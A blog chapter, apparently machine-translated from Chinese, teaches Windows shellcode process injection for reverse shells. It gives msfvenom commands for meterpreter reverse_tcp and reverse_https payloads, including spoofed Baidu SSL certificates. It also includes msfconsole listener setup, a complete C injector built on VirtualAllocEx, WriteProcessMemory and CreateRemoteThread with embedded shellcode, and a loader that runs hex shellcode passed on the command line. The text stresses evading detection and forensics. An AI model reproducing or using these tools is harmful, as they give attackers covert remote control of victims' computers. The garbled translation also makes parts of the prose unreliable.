1.10 Memory ShellCode injection and formatting

The formatting and injection functions of ShellCode are also particularly important in practical applications. Formatting Shellcoderefers to converting it into an executable binary format so that it can be run in memory. Injection Shellcoderefers to injecting formatted data Shellcodeinto the memory of another process for execution in that process. Such functions can also be counted as ShellCodeextended functions of technology.

1.10.1 ShellCode injection for memory

Memory injection ShellCodeis an attack method that injects a shell into the process memory. The advantage of this injection method is that the probability of being discovered is extremely low and can even be ignored. This is because when it is injected into the process memory, it does not interact with it ShellCode. The corresponding hard disk file makes it difficult to obtain evidence on the disk, but there is also a drawback. Since the memory is volatile memory, the system must always be turned on and cannot be turned off. This attack method can be applied to the server with minimal security risks. After injection, The injector can be removed and this ensures that no files are loaded.

First of all, readers should generate custom ShellCodecode by themselves before implementing the function. As for how to generate it, it has been introduced in the first section of this chapter. Only the generation instructions are given here.

Generate unencrypted ShellCode attack payload

# --------------------------------------------------
# 生成ShellCode攻击载荷
# --------------------------------------------------
[lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c

[lyshark@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c

# --------------------------------------------------
# 服务端建立侦听器
# --------------------------------------------------
[lyshark@localhost ~]# msfconsole
msf6 exploit(handler) > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(handler) > set lhost 192.168.140.128
msf6 exploit(handler) > set lport 9999
msf6 exploit(handler) > set EXITFUNC thread
msf6 exploit(handler) > exploit -j -z

Generate SSL encrypted ShellCode attack payload

# --------------------------------------------------
# 生成ShellCode攻击载荷
# --------------------------------------------------
[lyshark@localhost ~]# openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
> -subj "/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com" \
> -keyout www.baidu.com.key -out www.baidu.com.crt

[lyshark@localhost ~]# cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem
[lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https \
> lhost=192.168.140.128 lport=8443 PayloadUUIDTracking=true PayloadUUIDName=MyShell \
> HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true \
> -f c -o /root/shell.c

# --------------------------------------------------
# 服务端建立侦听器
# --------------------------------------------------
[lyshark@localhost ~]# msfconsole
msf6 exploit(handler) > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_https
msf6 exploit(handler) > set LHOST 192.168.140.128
msf6 exploit(handler) > set LPORT 8443
msf6 exploit(handler) > set HandlerSSLCert /root/www.baidu.com.pem
msf6 exploit(handler) > set StagerVerifySSLCert true
msf6 exploit(handler) > exploit -j -z

Next, we implement the injection function. First, we CreateToolhelp32Snapshot()find the required injection process by taking a process snapshot and comparing it. After finding it, we OpenProcess()open the process, then call VirtualAllocEx()a function to allocate space in the peer memory, and WriteProcessMemory()write ShellCodeto the peer. Finally, Execute ShellCode code by CreateRemoteThread()opening a remote thread.

Its core principles are summarized as follows:

  • 1. Obtain the PID of the target process. Here, we obtain ToolHelp32the list of processes running in the system and traverse the list to find the process with the specified name.
  • 2. Open the target process. Use to OpenProcessopen the target process and obtain the handle of the process.
  • 3. Allocate memory in the target process. Use to VirtualAllocExallocate a section of memory in the target process for storing ShellCodecode.
  • 4. Write ShellCodethe code into the memory of the target process. Use to WriteProcessMemorywrite ShellCodethe code into the memory of the target process.
  • 5. Create a remote thread in the target process and execute it ShellCode. Use CreateRemoteThreadcode that creates a remote thread in the target process and points its starting address to ShellCodethe memory address in the target process to execute ShellCodethe code.
  • 6. Wait for the remote thread to complete execution. Use WaitForSingleObjectwait for the remote thread to complete execution.
  • 7. Clean up resources. Close handles, release memory, etc.

Based on the analysis of the above principles, readers can easily write the code snippet as shown below. Readers only need to fill in the variables with customization ShellCodeand enter the process PID to realize the injection function into a specific process;

#include <Windows.h>
#include <stdio.h>

// 定义ShellCode
unsigned char ShellCode[] =
"\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x56\x14\x03\x56\x14\x83\xee\xfc\xf8\x82\x46"
"\xc3\x73\x6c\xb7\x14\xeb\xe4\x52\x25\x39\x92\x17\x14\x8d"
"\xd0\x7a\x95\x66\xb4\x6e\x94\x87\x36\x38\x9c\x51\xc2\x34"
"\x09\xac\x14\x14\x75\xaf\xe8\x67\xaa\x0f\xd0\xa7\xbf\x4e"
"\xdb\xac\xa6";

int main(int argc, char *argv[])
{
    
    
    HANDLE Handle = NULL;
    HANDLE remoteThread = NULL;
    PVOID remoteBuffer = NULL;
    DWORD Pid = 0;

    printf("请输入待注入进程PID号:");
    scanf("%d", &Pid);

    // 打开目标进程句柄
    Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
    if (Handle == NULL)
    {
    
    
        printf("打开进程失败\n");
        return 1;
    }

    // 在目标进程中分配内存
    remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (remoteBuffer == NULL)
    {
    
    
        printf("分配内存失败\n");
        CloseHandle(Handle);
        return 1;
    }

    // 在目标进程中写入ShellCode
    if (!WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL))
    {
    
    
        printf("写入内存失败\n");
        VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(Handle);
        return 1;
    }

    // 在目标进程中创建远程线程
    remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    if (remoteThread == NULL)
    {
    
    
        printf("创建线程失败\n");
        VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(Handle);
        return 1;
    }

    // 等待远程线程执行完毕
    WaitForSingleObject(remoteThread, INFINITE);

    // 释放内存和关闭句柄
    VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
    // CloseHandle(remoteThread);
    CloseHandle(Handle);

    printf("注入成功\n");
    return 0;
}

1.10.2 Implement formatting and code execution box

At some point, we need to pass in a specific string externally to achieve rebound, instead of writing the ShellCode code in the program as mentioned in the above case. This can increase flexibility and we execute it in local code. Explain how the code execution box is implemented for the case.

The implementation of the code execution box is very easy. In the following code, the program receives argv[1]the passed variable and formats the variable sscanfinto a byte type. If it is not formatted, it will WORDexist in the mode by default after reading it into the memory. At this time, it will occupy two Bytes will cause ShellCodefailure. In order to make the function effective, it must be converted. The following code is the complete implementation of the execution box;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    
    
    unsigned int char_in_hex;

    char *shellcode = argv[1];
    unsigned int iterations = strlen(shellcode);

    unsigned int memory_allocation = strlen(shellcode) / 2;

    for (unsigned int i = 0; i< iterations - 1; i++)
    {
    
    
        sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
        shellcode[i] = (char)char_in_hex;
    }

    void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    memcpy(exec, shellcode, memory_allocation);
    DWORD ignore;
    VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
    (*(void(*)()) exec)();

    return 0;
}

The following is a simple explanation of the core code;

unsigned int memory_allocation = strlen(shellcode) / 2;

memory_allocation is an unsigned integer type variable used to represent the memory size that needs to be allocated. Because shellcodeit is hexadecimal encoded, every two characters represent one byte, so the memory size is shellcodehalf the length.

for (unsigned int i = 0; i< iterations - 1; i++)
{
    
    
    sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
    shellcode[i] = (char)char_in_hex;
}

The for loop is used to convert hexadecimal encoding shellcodeinto executable code. sscanfThe function shellcodeconverts the hexadecimal characters in to integers and stores them in char_in_hexvariables. It will then char_in_hexbe cast to character type and stored in shellcode.

void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);

This is a voidpointer variable of type that points to the allocated memory space. VirtualAllocThe function allocates a memory block of the specified size and returns a pointer to the memory block. The parameter MEM_COMMITindicates that the allocated memory will be committed immediately, PAGE_READWRITEindicating that the memory is readable and writable.

memcpy(exec, shellcode, memory_allocation);

will shellcodebe copied into the allocated memory space.

DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);

The VirtualProtect function modifies the protection attribute of the memory page and sets the execution attribute of the memory page to executable. PAGE_EXECUTEIndicates that the memory is executable.

(*(void(*)()) exec)();

Execute the code in the allocated memory space. Cast the exec pointer to a function pointer with no parameters and no return value, and then call the function pointer. In this way, the code in the shellcode will be executed.

Since the code execution box receives a string, we also need to implement a ShellCodefunction to convert it into a string. We only need to read the text into the memory in sequence and filter out useless bytes to achieve this function;

void Compressed(const char* FileName)
{
    
    
    FILE* fp_read;
    char write_ch;
    if ((fp_read = fopen(FileName, "r")) != NULL)
    {
    
    
        while ((write_ch = fgetc(fp_read)) != EOF)
        {
    
    
            if (write_ch != L'\n' && write_ch != L'\"' && write_ch != L'\\' && write_ch != L'x' && write_ch != L';')
            {
    
    
                printf("%c", write_ch);
            }
        }
    }
    _fcloseall();
}

The complete code is already available, so how to use it? First, the reader needs to ShellCodesave the code as a text document. It should be noted that the reader should save it in the following format when saving the file;

Insert image description here

At this time, when calling Compressed("d://shellcode.txt");and passing in the text path, the reader will see the following output, which ShellCodeis formatted into one line, as shown in the figure below;

Insert image description here

Save this ShellCodecode and run the code execution box. Rebound can be achieved by passing in parameters from the command line. The passed parameters are as shown in the figure below;
Insert image description here

Author of this article: Wang Rui
Link to this article: https://www.lyshark.com/post/c20d3ce0.html
Copyright Statement: Unless otherwise stated, all articles on this blog adopt the BY-NC-SA license agreement. Please indicate the source!

おすすめ

転載: blog.csdn.net/lyshark_csdn/article/details/132597641